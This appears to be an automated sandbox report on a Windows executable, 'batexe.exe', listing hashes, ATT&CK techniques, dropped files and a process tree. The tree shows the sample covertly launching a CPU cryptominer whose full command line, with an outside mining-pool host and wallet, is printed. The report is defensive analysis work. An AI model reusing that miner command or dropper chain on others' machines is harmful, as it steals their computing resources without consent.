73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
214s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21-02-2024 06:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1196	b2e.exe
2640	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2640	cpuminer-sse2.exe
2640	cpuminer-sse2.exe
2640	cpuminer-sse2.exe
2640	cpuminer-sse2.exe
2640	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2236-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2236 wrote to memory of 1196	2236	batexe.exe	88
PID 2236 wrote to memory of 1196	2236	batexe.exe	88
PID 2236 wrote to memory of 1196	2236	batexe.exe	88
PID 1196 wrote to memory of 2708	1196	b2e.exe	89
PID 1196 wrote to memory of 2708	1196	b2e.exe	89
PID 1196 wrote to memory of 2708	1196	b2e.exe	89
PID 2708 wrote to memory of 2640	2708	cmd.exe	92
PID 2708 wrote to memory of 2640	2708	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2236
- C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\57B5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe

Filesize
20.1MB

MD5
e0c9e4b075b01cfd0660a2ff4c875726

SHA1
939f43b83f3151c612db2ba6c7fc11b69546a23b

SHA256
2523814a32f8f9fa58cfd18fea446de2f17267c0d6bdfb05937dbaf5093015c9

SHA512
6ba064f266c71da83b68daf1d608f5833938b223ff85b8cd8f16b345574c0e1a5ef8005f6090d29040741b8338c04827be50a77d3afaffc9721b37b90b27a721

Download Submit
C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe

Filesize
9.8MB

MD5
5df7ddb45e33760f1568efca512bc2ac

SHA1
086875f299bda9d682904b9335e6cf7fc555ea1c

SHA256
ce996dda0a867c92b03af826c75d1bbbd4905bbb47e4e1f789820347694e6d6b

SHA512
a3ab1f0a74af739a2063ec114385be249c37e818176a6cc4d7ff7172de28420cd7219a2b2599b84b10a6aaab5c2a8f67d3d5e0a4f5903cb0743d31f721f64669

Download Submit
C:\Users\Admin\AppData\Local\Temp\5498.tmp\b2e.exe

Filesize
13.4MB

MD5
2dd63ee54888957f79d5581328350f2e

SHA1
dd2abb077fb61448ae65cda6ae887466b539a9d9

SHA256
2782c446bd987fa88b2ed839887c86132ceacad27dd6389bc8b62f26ede98173

SHA512
23b28625f5430f2a5b073ee0622b6c0ce3c71000e8a144a6cc1931d3e859bdd8cecd9b797ddd63305df66c0be12c009517d7f07dd4faaca69133a21090ad5046

Download Submit
C:\Users\Admin\AppData\Local\Temp\57B5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.0MB

MD5
2b18b4ce97d7c49a00a854c74b4b03b9

SHA1
11cd03aeb1207dce9ff8155107baff7361029a48

SHA256
b980332b4bdb1b6821d44b8770b11325ed22618d2a0e8bb0daa9bd8d19aa4615

SHA512
5524f847cb83071cee8a4aaa1cbccd2e9ec1b16ae61bed80f15c7e4d9822c4a1c7763e2b6989b5aa84cbb8a920d6c74f85c207e90c6d4650e5da68c7139127ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
a23af9529b6cbecf72af0b0b4bed0a60

SHA1
f3b5a589688e42680e8cb6ab22f17ed221dadd34

SHA256
b6de87678105e0ad42ef2c30250225e0c2261ad7cd73349cedbbb80f121d92b1

SHA512
6d3f95e026a9ca496a9b2c867a0b923b900925a7224c51922bb1a59c1e828060b7eb3dc8963fc2ae0b8e6a42d7711555e20fc35eaad639870920568274928647

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.8MB

MD5
1db1f6c6d4ad5f717b46df87052f89c0

SHA1
b36fb9cf2eed6538295d1cf0450431d660cd9dc4

SHA256
f1067c7f06816939b65a1680ad57c8c84e2ae05abb5914e903c1c87e47c430dc

SHA512
3086d8f336f106dd468e041f64af821ecd70f398282140ff14193bbb68bd5a62fbd523ac64744837c7425df03d61333b1aab2f1a78f94f57d659399bd493fe79

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1196-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1196-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2236-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2640-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2640-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/2640-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2640-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-45-0x000000005E200000-0x000000005E298000-memory.dmp

Filesize
608KB

Download
memory/2640-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2640-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download